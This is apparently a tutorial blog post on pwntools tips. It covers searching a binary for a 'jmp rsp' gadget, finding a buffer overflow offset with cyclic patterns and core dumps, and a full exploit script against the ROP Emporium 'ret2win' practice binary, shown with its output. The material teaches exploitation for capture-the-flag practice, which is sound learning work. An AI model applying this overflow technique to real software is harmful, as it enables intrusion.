3 minutes
Pwntool Tips 3
Before we start, in part 2 of the series I demonstrated finding asm instructions within a binary
using the elf.search()
function. We passed bytes ff e4
in order to find the address of a jmp rsp
instruction. As it turns out, we can use also the mnemonic if we pass it through asm()
first.
This way, we don’t have to remember that jmp rsp
is ff e4
on amd64 architecture.
""" From yesterday """
In [2]: e = ELF('pwnable')
In [3]: next(e.search("\xff\xe4"))
Out[3]: 159281
""" Alternate way, with the mnenonic """
In [3]: searcher = e.search( asm("jmp rsp") )
In [4]: searcher.next()
Out[4]: 159281
Auto-Finding the Offset with Cyclic & Corefiles
The cyclic
function will generate a deterministic sequence called a
De Bruijn
sequence. Since the pattern is always the same, we can rely on the fact that any subsequence will
also be at the same index. That means we can take the sequence at the fault address and search for
the offset within that sequence. Searching is done with the cyclic_find
function.
Pwntools
also knows how to deal with core dumps.
From the Docs:
Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.
We’re going use the first 64-bit challenge from ROP Emporium. The challenges here are specifically geared toward practicing ROP techniques, so they remove most reversing and bug-hunting barriers and tell you outright that the overflow length for every challenge is 40. As a former teacher, I approve of this method. We’ll use this known-good value of 40 to test with.
To automatically find the offset:
In [1]: from pwn import *
In [2]: context.clear(arch="amd64")
In [3]: io = process('./ret2win')
In [4]: io.recv()
In [5]: io.sendline( cyclic(128, n=8 )
In [6]: io.wait()
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 1108287)
In [7]: coredump = Core("./core.ret2win.1108287")
[x] Parsing corefile...
Arch: amd64-64-little
RIP: 0x400810
RSP: 0x7ffcef76b438
Fault: 0x6161616161616166
In [8]: cyclic_find(coredump.fault_addr, n=8)
Out[8]: 40
Here’s what a fully automated exploit might look like using what we’ve learned from the past 3 posts.
from pwn import *
context.arch="amd64"
def overflow(io, data):
io.recv()
io.sendline(data)
exe = "ret2win"
io = process(exe)
overflow( io, cyclic(100, n=8) )
io.wait()
elf_file = ELF(exe)
offset = cyclic_find( io.corefile.fault_addr, n=8 )
payload = fit({ offset: elf_file.sym.ret2win })
io = process(exe)
overflow(io, payload)
success( io.recvline() )
Output:
dev ❯❯ python exp.py
[+] Starting local process './ret2win': pid 1248672
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 1248672)
[+] Parsing corefile...: Done
Arch: amd64-64-little
RIP: 0x400810
RSP: 0x7ffcf9977c28
Fault: 0x6161616161616166
[+] Starting local process './ret2win': pid 1248677
[+] b"Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}\n"
Check out the cyclic
docs here